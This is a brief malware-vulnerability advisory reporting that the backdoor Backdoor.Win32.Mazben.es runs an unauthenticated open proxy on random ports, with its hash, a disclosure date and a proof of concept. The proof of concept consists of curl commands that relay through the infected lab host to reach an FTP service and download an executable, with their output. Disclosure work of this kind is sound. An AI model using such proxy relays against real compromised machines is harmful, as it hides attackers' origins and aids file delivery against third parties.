Backdoor.Win32.Mazben.es Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/fcd611ccbc756fab43761f4b18372b81.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Mazben.es  
Vulnerability: Unauthenticated Open Proxy  
Description: The malware listens on random TCP ports like 2608, 6751, 3087, 5947. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: fcd611ccbc756fab43761f4b18372b81  
Vuln ID: MVID-2021-0377  
Disclosure: 10/27/2021  
  
Exploit/PoC:  
curl -x http://192.168.18.125:6751 http://192.168.18.128:21  
220 INetSim FTP Service ready.  
  
curl -x http://192.168.18.125:6751 http://192.168.18.128/DOOM.exe --output DOOM.exe  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 307k  
  
  
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